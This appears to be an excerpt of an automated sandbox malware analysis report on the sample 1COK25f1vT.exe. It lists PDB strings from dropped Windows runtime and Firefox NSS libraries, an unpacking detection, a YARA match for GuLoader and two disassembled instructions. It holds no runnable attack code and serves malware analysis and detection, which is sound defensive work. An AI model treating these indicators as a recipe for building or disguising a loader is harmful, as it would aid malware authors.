0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, freebl3.dll.12.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491836442.00000000203BC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp, api-ms-win-core-console-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.481305544.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491748363.0000000020388000.00000004.00000001.sdmp, api-ms-win-crt-private-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.465766679.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491604512.0000000020358000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477869582.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.478268008.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.478663759.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-crt-convert-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr
Source:	Binary string: msvcp140.i386.pdb source: 1COK25f1vT.exe, 0000000C.00000003.485203963.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492268054.000000001F688000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485153671.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, msvcp140.dll.12.dr
Source:	Binary string: ucrtbase.pdbUGP source: 1COK25f1vT.exe, 0000000C.00000003.489027569.000000001F308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, ucrtbase.dll.12.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, api-ms-win-core-profile-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp, api-ms-win-crt-time-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nssdbm3.dll.12.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-handle-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475799639.000000001F998000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-2-0.dll.12.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471958408.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.472715273.000000001F9A0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-datetime-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477468468.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477869582.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-crt-conio-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.469680104.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.470488936.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-localization-l1-2-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479960511.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.480478688.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491685778.0000000020374000.00000004.00000001.sdmp, api-ms-win-crt-math-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491349501.0000000020324000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.473845022.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491334003.0000000020320000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.12.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471221878.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471958408.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdb source: 1COK25f1vT.exe, 0000000C.00000003.490976694.000000001F304000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489151743.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.493685455.000000001F978000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490948392.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, vcruntime140.dll.12.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491708487.000000002037C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491685778.0000000020374000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.480866812.000000001F998000.00000004.00000001.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491836442.00000000203BC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp, api-ms-win-crt-utility-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.475000686.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-core-timezone-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nssdbm3.dll.12.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.475000686.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475402246.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-core-string-l1-1-0.dll.12.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: 1COK25f1vT.exe, 0000000C.00000003.485203963.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492268054.000000001F688000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485153671.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, msvcp140.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.466563733.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-file-l2-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491775740.0000000020398000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491748363.0000000020388000.00000004.00000001.sdmp, api-ms-win-crt-process-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.469680104.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479481362.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479096628.000000001F990000.00000004.00000001.sdmp, api-ms-win-crt-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.482506212.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482913611.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, api-ms-win-crt-string-l1-1-0.dll.12.dr

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Unpacked PE file: 12.2.1COK25f1vT.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs CODE:ER;DATA:W;BSS:W;.idata:W;.reloc:R;

Yara detected GuLoader

Show sources

Source: Yara match	File source: 00000000.00000002.385834969.000000001FC24000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_00401C74 push 15091DEAh; retf	0_2_00401C79
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_00407496 push edx; ret	0_2_00407497
